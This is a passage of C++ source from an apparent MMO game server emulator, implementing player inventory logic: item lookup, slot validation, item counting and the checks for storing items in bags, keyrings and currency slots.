for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos(INVENTORY_SLOT_BAG_0, i))
count += pBag->GetItemCountWithLimitCategory(limitCategory, skipItem);
return count;
}
Item* Player::GetItemByEntry( uint32 item ) const
{
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetEntry() == item)
return pItem;
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetEntry() == item)
return pItem;
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i))
if (Item* itemPtr = pBag->GetItemByEntry(item))
return itemPtr;
return NULL;
}
Item* Player::GetItemByLimitedCategory(uint32 limitedCategory) const
{
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetProto()->ItemLimitCategory == limitedCategory)
return pItem;
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetProto()->ItemLimitCategory == limitedCategory)
return pItem;
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i))
if (Item* itemPtr = pBag->GetItemByLimitedCategory(limitedCategory))
return itemPtr;
return NULL;
}
Item* Player::GetItemByGuid(ObjectGuid guid) const
{
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetObjectGuid() == guid)
return pItem;
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetObjectGuid() == guid)
return pItem;
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag *pBag = (Bag*)GetItemByPos(INVENTORY_SLOT_BAG_0, i))
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
if (Item* pItem = pBag->GetItemByPos(j))
if (pItem->GetObjectGuid() == guid)
return pItem;
for(int i = BANK_SLOT_ITEM_START; i < BANK_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetObjectGuid() == guid)
return pItem;
for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
if (Bag *pBag = (Bag*)GetItemByPos(INVENTORY_SLOT_BAG_0, i))
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
if (Item* pItem = pBag->GetItemByPos(j))
if (pItem->GetObjectGuid() == guid)
return pItem;
return NULL;
}
Item* Player::GetItemByPos( uint16 pos ) const
{
uint8 bag = pos >> 8;
uint8 slot = pos & 255;
return GetItemByPos( bag, slot );
}
Item* Player::GetItemByPos( uint8 bag, uint8 slot ) const
{
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot < BANK_SLOT_BAG_END || (slot >= KEYRING_SLOT_START && slot < CURRENCYTOKEN_SLOT_END )) )
return m_items[slot];
else if ((bag >= INVENTORY_SLOT_BAG_START && bag < INVENTORY_SLOT_BAG_END)
|| (bag >= BANK_SLOT_BAG_START && bag < BANK_SLOT_BAG_END) )
{
Bag *pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, bag );
if ( pBag )
return pBag->GetItemByPos(slot);
}
return NULL;
}
uint32 Player::GetItemDisplayIdInSlot(uint8 bag, uint8 slot) const
{
const Item* pItem = GetItemByPos(bag, slot);
if (!pItem)
return 0;
return pItem->GetProto()->DisplayInfoID;
}
Item* Player::GetWeaponForAttack(WeaponAttackType attackType, bool nonbroken, bool useable) const
{
uint8 slot;
switch (attackType)
{
case BASE_ATTACK: slot = EQUIPMENT_SLOT_MAINHAND; break;
case OFF_ATTACK: slot = EQUIPMENT_SLOT_OFFHAND; break;
case RANGED_ATTACK: slot = EQUIPMENT_SLOT_RANGED; break;
default: return NULL;
}
Item* item = GetItemByPos(INVENTORY_SLOT_BAG_0, slot);
if (!item || item->GetProto()->Class != ITEM_CLASS_WEAPON)
return NULL;
if (useable && !CanUseEquippedWeapon(attackType))
return NULL;
if (nonbroken && item->IsBroken())
return NULL;
return item;
}
Item* Player::GetShield(bool useable) const
{
Item* item = GetItemByPos(INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND);
if (!item || item->GetProto()->Class != ITEM_CLASS_ARMOR)
return NULL;
if (!useable)
return item;
if (item->IsBroken() || !CanUseEquippedWeapon(OFF_ATTACK))
return NULL;
return item;
}
uint32 Player::GetAttackBySlot( uint8 slot )
{
switch(slot)
{
case EQUIPMENT_SLOT_MAINHAND: return BASE_ATTACK;
case EQUIPMENT_SLOT_OFFHAND: return OFF_ATTACK;
case EQUIPMENT_SLOT_RANGED: return RANGED_ATTACK;
default: return MAX_ATTACK;
}
}
bool Player::IsInventoryPos( uint8 bag, uint8 slot )
{
if ( bag == INVENTORY_SLOT_BAG_0 && slot == NULL_SLOT )
return true;
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot >= INVENTORY_SLOT_ITEM_START && slot < INVENTORY_SLOT_ITEM_END ) )
return true;
if ( bag >= INVENTORY_SLOT_BAG_START && bag < INVENTORY_SLOT_BAG_END )
return true;
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot >= KEYRING_SLOT_START && slot < CURRENCYTOKEN_SLOT_END ) )
return true;
return false;
}
bool Player::IsEquipmentPos( uint8 bag, uint8 slot )
{
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot < EQUIPMENT_SLOT_END ) )
return true;
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot >= INVENTORY_SLOT_BAG_START && slot < INVENTORY_SLOT_BAG_END ) )
return true;
return false;
}
bool Player::IsBankPos( uint8 bag, uint8 slot )
{
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot >= BANK_SLOT_ITEM_START && slot < BANK_SLOT_ITEM_END ) )
return true;
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot >= BANK_SLOT_BAG_START && slot < BANK_SLOT_BAG_END ) )
return true;
if ( bag >= BANK_SLOT_BAG_START && bag < BANK_SLOT_BAG_END )
return true;
return false;
}
bool Player::IsBagPos( uint16 pos )
{
uint8 bag = pos >> 8;
uint8 slot = pos & 255;
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot >= INVENTORY_SLOT_BAG_START && slot < INVENTORY_SLOT_BAG_END ) )
return true;
if ( bag == INVENTORY_SLOT_BAG_0 && ( slot >= BANK_SLOT_BAG_START && slot < BANK_SLOT_BAG_END ) )
return true;
return false;
}
bool Player::IsValidPos( uint8 bag, uint8 slot, bool explicit_pos ) const
{
// post selected
if (bag == NULL_BAG && !explicit_pos)
return true;
if (bag == INVENTORY_SLOT_BAG_0)
{
// any post selected
if (slot == NULL_SLOT && !explicit_pos)
return true;
// equipment
if (slot < EQUIPMENT_SLOT_END)
return true;
// bag equip slots
if (slot >= INVENTORY_SLOT_BAG_START && slot < INVENTORY_SLOT_BAG_END)
return true;
// backpack slots
if (slot >= INVENTORY_SLOT_ITEM_START && slot < INVENTORY_SLOT_ITEM_END)
return true;
// keyring slots
if (slot >= KEYRING_SLOT_START && slot < KEYRING_SLOT_END)
return true;
// bank main slots
if (slot >= BANK_SLOT_ITEM_START && slot < BANK_SLOT_ITEM_END)
return true;
// bank bag slots
if (slot >= BANK_SLOT_BAG_START && slot < BANK_SLOT_BAG_END)
return true;
return false;
}
// bag content slots
if (bag >= INVENTORY_SLOT_BAG_START && bag < INVENTORY_SLOT_BAG_END)
{
Bag* pBag = (Bag*)GetItemByPos (INVENTORY_SLOT_BAG_0, bag);
if(!pBag)
return false;
// any post selected
if (slot == NULL_SLOT && !explicit_pos)
return true;
return slot < pBag->GetBagSize();
}
// bank bag content slots
if ( bag >= BANK_SLOT_BAG_START && bag < BANK_SLOT_BAG_END )
{
Bag* pBag = (Bag*)GetItemByPos (INVENTORY_SLOT_BAG_0, bag);
if(!pBag)
return false;
// any post selected
if (slot == NULL_SLOT && !explicit_pos)
return true;
return slot < pBag->GetBagSize();
}
// where this?
return false;
}
bool Player::HasItemCount( uint32 item, uint32 count, bool inBankAlso ) const
{
uint32 tempcount = 0;
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem && pItem->GetEntry() == item && !pItem->IsInTrade())
{
tempcount += pItem->GetCount();
if (tempcount >= count)
return true;
}
}
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem && pItem->GetEntry() == item && !pItem->IsInTrade())
{
tempcount += pItem->GetCount();
if (tempcount >= count)
return true;
}
}
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
Item* pItem = GetItemByPos( i, j );
if (pItem && pItem->GetEntry() == item && !pItem->IsInTrade())
{
tempcount += pItem->GetCount();
if (tempcount >= count)
return true;
}
}
}
}
if (inBankAlso)
{
for(int i = BANK_SLOT_ITEM_START; i < BANK_SLOT_ITEM_END; ++i)
{
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem && pItem->GetEntry() == item && !pItem->IsInTrade())
{
tempcount += pItem->GetCount();
if (tempcount >= count)
return true;
}
}
for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
Item* pItem = GetItemByPos( i, j );
if (pItem && pItem->GetEntry() == item && !pItem->IsInTrade())
{
tempcount += pItem->GetCount();
if (tempcount >= count)
return true;
}
}
}
}
}
return false;
}
bool Player::HasItemOrGemWithIdEquipped( uint32 item, uint32 count, uint8 except_slot ) const
{
uint32 tempcount = 0;
for(int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (i==int(except_slot))
continue;
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem->GetEntry() == item)
{
tempcount += pItem->GetCount();
if ( tempcount >= count )
return true;
}
}
ItemPrototype const *pProto = ObjectMgr::GetItemPrototype(item);
if (pProto && pProto->GemProperties)
{
for(int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (i==int(except_slot))
continue;
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem && (pItem->GetProto()->Socket[0].Color || pItem->GetEnchantmentId(PRISMATIC_ENCHANTMENT_SLOT)))
{
tempcount += pItem->GetGemCountWithID(item);
if ( tempcount >= count )
return true;
}
}
}
return false;
}
bool Player::HasItemOrGemWithLimitCategoryEquipped( uint32 limitCategory, uint32 count, uint8 except_slot ) const
{
uint32 tempcount = 0;
for(int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (i==int(except_slot))
continue;
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (!pItem)
continue;
ItemPrototype const *pProto = pItem->GetProto();
if (!pProto)
continue;
if (pProto->ItemLimitCategory == limitCategory)
{
tempcount += pItem->GetCount();
if ( tempcount >= count )
return true;
}
if ( pProto->Socket[0].Color)
{
tempcount += pItem->GetGemCountWithLimitCategory(limitCategory);
if ( tempcount >= count )
return true;
}
}
return false;
}
InventoryResult Player::_CanTakeMoreSimilarItems(uint32 entry, uint32 count, Item* pItem, uint32* no_space_count) const
{
ItemPrototype const *pProto = ObjectMgr::GetItemPrototype(entry);
if (!pProto)
{
if (no_space_count)
*no_space_count = count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
// no maximum
if (pProto->MaxCount > 0)
{
uint32 curcount = GetItemCount(pProto->ItemId, true, pItem);
if (curcount + count > uint32(pProto->MaxCount))
{
if (no_space_count)
*no_space_count = count +curcount - pProto->MaxCount;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
// check unique-equipped limit
if (pProto->ItemLimitCategory)
{
ItemLimitCategoryEntry const* limitEntry = sItemLimitCategoryStore.LookupEntry(pProto->ItemLimitCategory);
if (!limitEntry)
{
if (no_space_count)
*no_space_count = count;
return EQUIP_ERR_ITEM_CANT_BE_EQUIPPED;
}
if (limitEntry->mode == ITEM_LIMIT_CATEGORY_MODE_HAVE)
{
uint32 curcount = GetItemCountWithLimitCategory(pProto->ItemLimitCategory, pItem);
if (curcount + count > uint32(limitEntry->maxCount))
{
if (no_space_count)
*no_space_count = count + curcount - limitEntry->maxCount;
return EQUIP_ERR_ITEM_MAX_LIMIT_CATEGORY_COUNT_EXCEEDED_IS;
}
}
}
return EQUIP_ERR_OK;
}
bool Player::HasItemTotemCategory( uint32 TotemCategory ) const
{
Item *pItem;
for(uint8 i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && IsTotemCategoryCompatiableWith(pItem->GetProto()->TotemCategory,TotemCategory ))
return true;
}
for(uint8 i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && IsTotemCategoryCompatiableWith(pItem->GetProto()->TotemCategory,TotemCategory ))
return true;
}
for(uint8 i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (Bag *pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
pItem = GetItemByPos( i, j );
if ( pItem && IsTotemCategoryCompatiableWith(pItem->GetProto()->TotemCategory,TotemCategory ))
return true;
}
}
}
return false;
}
InventoryResult Player::_CanStoreItem_InSpecificSlot( uint8 bag, uint8 slot, ItemPosCountVec &dest, ItemPrototype const *pProto, uint32& count, bool swap, Item* pSrcItem ) const
{
Item* pItem2 = GetItemByPos( bag, slot );
// ignore move item (this slot will be empty at move)
if (pItem2==pSrcItem)
pItem2 = NULL;
uint32 need_space;
// empty specific slot - check item fit to slot
if (!pItem2 || swap)
{
if (bag == INVENTORY_SLOT_BAG_0)
{
// keyring case
if (slot >= KEYRING_SLOT_START && slot < KEYRING_SLOT_START+GetMaxKeyringSize() && !(pProto->BagFamily & BAG_FAMILY_MASK_KEYS))
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
// currencytoken case
if (slot >= CURRENCYTOKEN_SLOT_START && slot < CURRENCYTOKEN_SLOT_END && !(pProto->BagFamily & BAG_FAMILY_MASK_CURRENCY_TOKENS))
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
// prevent cheating
if ((slot >= BUYBACK_SLOT_START && slot < BUYBACK_SLOT_END) || slot >= PLAYER_SLOT_END)
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
}
else
{
Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, bag );
if (!pBag)
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
ItemPrototype const* pBagProto = pBag->GetProto();
if (!pBagProto)
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
if (slot >= pBagProto->ContainerSlots)
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
if (!ItemCanGoIntoBag(pProto,pBagProto))
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
}
// non empty stack with space
need_space = pProto->GetMaxStackSize();
}
// non empty slot, check item type
else
{
// can be merged at least partly
InventoryResult res = pItem2->CanBeMergedPartlyWith(pProto);
if (res != EQUIP_ERR_OK)
return res;
// free stack space or infinity
need_space = pProto->GetMaxStackSize() - pItem2->GetCount();
}
if (need_space > count)
need_space = count;
ItemPosCount newPosition = ItemPosCount((bag << 8) | slot, need_space);
if (!newPosition.isContainedIn(dest))
{
dest.push_back(newPosition);
count -= need_space;
}
return EQUIP_ERR_OK;
}
InventoryResult Player::_CanStoreItem_InBag( uint8 bag, ItemPosCountVec &dest, ItemPrototype const *pProto, uint32& count, bool merge, bool non_specialized, Item* pSrcItem, uint8 skip_bag, uint8 skip_slot ) const
{
// skip specific bag already processed in first called _CanStoreItem_InBag
if (bag == skip_bag)
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
// skip nonexistent bag or self targeted bag
Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, bag );
if (!pBag || pBag==pSrcItem)
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
ItemPrototype const* pBagProto = pBag->GetProto();
if (!pBagProto)
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
// specialized bag mode or non-specilized
if (non_specialized != (pBagProto->Class == ITEM_CLASS_CONTAINER && pBagProto->SubClass == ITEM_SUBCLASS_CONTAINER))
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
if (!ItemCanGoIntoBag(pProto,pBagProto))
return EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG;
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
// skip specific slot already processed in first called _CanStoreItem_InSpecificSlot
if (j==skip_slot)
continue;
Item* pItem2 = GetItemByPos( bag, j );
// ignore move item (this slot will be empty at move)
if (pItem2 == pSrcItem)
pItem2 = NULL;
// if merge skip empty, if !merge skip non-empty
if ((pItem2 != NULL) != merge)
continue;
uint32 need_space = pProto->GetMaxStackSize();
if (pItem2)
{
// can be merged at least partly
uint8 res = pItem2->CanBeMergedPartlyWith(pProto);
if (res != EQUIP_ERR_OK)
continue;
// descrease at current stacksize
need_space -= pItem2->GetCount();
}
if (need_space > count)
need_space = count;
ItemPosCount newPosition = ItemPosCount((bag << 8) | j, need_space);
if (!newPosition.isContainedIn(dest))
{
dest.push_back(newPosition);
count -= need_space;
if (count==0)
return EQUIP_ERR_OK;
}
}
return EQUIP_ERR_OK;
}
InventoryResult Player::_CanStoreItem_InInventorySlots( uint8 slot_begin, uint8 slot_end, ItemPosCountVec &dest, ItemPrototype const *pProto, uint32& count, bool merge, Item* pSrcItem, uint8 skip_bag, uint8 skip_slot ) const
{
for(uint32 j = slot_begin; j < slot_end; ++j)
{
// skip specific slot already processed in first called _CanStoreItem_InSpecificSlot
if (INVENTORY_SLOT_BAG_0==skip_bag && j==skip_slot)
continue;
Item* pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, j );
// ignore move item (this slot will be empty at move)
if (pItem2 == pSrcItem)
pItem2 = NULL;
// if merge skip empty, if !merge skip non-empty
if ((pItem2 != NULL) != merge)
continue;
uint32 need_space = pProto->GetMaxStackSize();
if (pItem2)
{
// can be merged at least partly
uint8 res = pItem2->CanBeMergedPartlyWith(pProto);
if (res != EQUIP_ERR_OK)
continue;
// descrease at current stacksize
need_space -= pItem2->GetCount();
}
if (need_space > count)
need_space = count;
ItemPosCount newPosition = ItemPosCount((INVENTORY_SLOT_BAG_0 << 8) | j, need_space);
if (!newPosition.isContainedIn(dest))
{
dest.push_back(newPosition);
count -= need_space;
if (count==0)
return EQUIP_ERR_OK;
}
}
return EQUIP_ERR_OK;
}
InventoryResult Player::_CanStoreItem( uint8 bag, uint8 slot, ItemPosCountVec &dest, uint32 entry, uint32 count, Item *pItem, bool swap, uint32* no_space_count ) const
{
DEBUG_LOG( "STORAGE: CanStoreItem bag = %u, slot = %u, item = %u, count = %u", bag, slot, entry, count);
ItemPrototype const *pProto = ObjectMgr::GetItemPrototype(entry);
if (!pProto)
{
if (no_space_count)
*no_space_count = count;
return swap ? EQUIP_ERR_ITEMS_CANT_BE_SWAPPED :EQUIP_ERR_ITEM_NOT_FOUND;
}
if (pItem)
{
// item used
if (pItem->HasTemporaryLoot())
{
if (no_space_count)
*no_space_count = count;
return EQUIP_ERR_ALREADY_LOOTED;
}
if (pItem->IsBindedNotWith(this))
{
if (no_space_count)
*no_space_count = count;
return EQUIP_ERR_DONT_OWN_THAT_ITEM;
}
}
// check count of items (skip for auto move for same player from bank)
uint32 no_similar_count = 0; // can't store this amount similar items
InventoryResult res = _CanTakeMoreSimilarItems(entry,count,pItem,&no_similar_count);
if (res != EQUIP_ERR_OK)
{
if (count == no_similar_count)
{
if (no_space_count)
*no_space_count = no_similar_count;
return res;
}
count -= no_similar_count;
}
// in specific slot
if (bag != NULL_BAG && slot != NULL_SLOT)
{
res = _CanStoreItem_InSpecificSlot(bag,slot,dest,pProto,count,swap,pItem);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
// not specific slot or have space for partly store only in specific slot
// in specific bag
if (bag != NULL_BAG)
{
// search stack in bag for merge to
if (pProto->Stackable != 1)
{
if (bag == INVENTORY_SLOT_BAG_0) // inventory
{
res = _CanStoreItem_InInventorySlots(KEYRING_SLOT_START,CURRENCYTOKEN_SLOT_END,dest,pProto,count,true,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
res = _CanStoreItem_InInventorySlots(INVENTORY_SLOT_ITEM_START,INVENTORY_SLOT_ITEM_END,dest,pProto,count,true,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
else // equipped bag
{
// we need check 2 time (specialized/non_specialized), use NULL_BAG to prevent skipping bag
res = _CanStoreItem_InBag(bag,dest,pProto,count,true,false,pItem,NULL_BAG,slot);
if (res != EQUIP_ERR_OK)
res = _CanStoreItem_InBag(bag,dest,pProto,count,true,true,pItem,NULL_BAG,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
}
// search free slot in bag for place to
if (bag == INVENTORY_SLOT_BAG_0) // inventory
{
// search free slot - keyring case
if (pProto->BagFamily & BAG_FAMILY_MASK_KEYS)
{
uint32 keyringSize = GetMaxKeyringSize();
res = _CanStoreItem_InInventorySlots(KEYRING_SLOT_START,KEYRING_SLOT_START+keyringSize,dest,pProto,count,false,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count==0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
res = _CanStoreItem_InInventorySlots(CURRENCYTOKEN_SLOT_START,CURRENCYTOKEN_SLOT_END,dest,pProto,count,false,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
else if (pProto->BagFamily & BAG_FAMILY_MASK_CURRENCY_TOKENS)
{
res = _CanStoreItem_InInventorySlots(CURRENCYTOKEN_SLOT_START,CURRENCYTOKEN_SLOT_END,dest,pProto,count,false,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
res = _CanStoreItem_InInventorySlots(INVENTORY_SLOT_ITEM_START,INVENTORY_SLOT_ITEM_END,dest,pProto,count,false,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
else // equipped bag
{
res = _CanStoreItem_InBag(bag,dest,pProto,count,false,false,pItem,NULL_BAG,slot);
if (res != EQUIP_ERR_OK)
res = _CanStoreItem_InBag(bag,dest,pProto,count,false,true,pItem,NULL_BAG,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
}
// not specific bag or have space for partly store only in specific bag
// search stack for merge to
if (pProto->Stackable != 1)
{
res = _CanStoreItem_InInventorySlots(KEYRING_SLOT_START,CURRENCYTOKEN_SLOT_END,dest,pProto,count,true,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
res = _CanStoreItem_InInventorySlots(INVENTORY_SLOT_ITEM_START,INVENTORY_SLOT_ITEM_END,dest,pProto,count,true,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
if (pProto->BagFamily)
{
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,true,false,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
continue;
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
}
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,true,true,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
continue;
if (count == 0)
{
if (no_similar_count==0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
}
// search free slot - special bag case
if (pProto->BagFamily)
{
if (pProto->BagFamily & BAG_FAMILY_MASK_KEYS)
{
uint32 keyringSize = GetMaxKeyringSize();
res = _CanStoreItem_InInventorySlots(KEYRING_SLOT_START,KEYRING_SLOT_START+keyringSize,dest,pProto,count,false,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
else if (pProto->BagFamily & BAG_FAMILY_MASK_CURRENCY_TOKENS)
{
res = _CanStoreItem_InInventorySlots(CURRENCYTOKEN_SLOT_START,CURRENCYTOKEN_SLOT_END,dest,pProto,count,false,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,false,false,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
continue;
if (count == 0)
{
if (no_similar_count==0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
}
// Normally it would be impossible to autostore not empty bags
if (pItem && pItem->IsBag() && !((Bag*)pItem)->IsEmpty())
return EQUIP_ERR_NONEMPTY_BAG_OVER_OTHER_BAG;
// search free slot
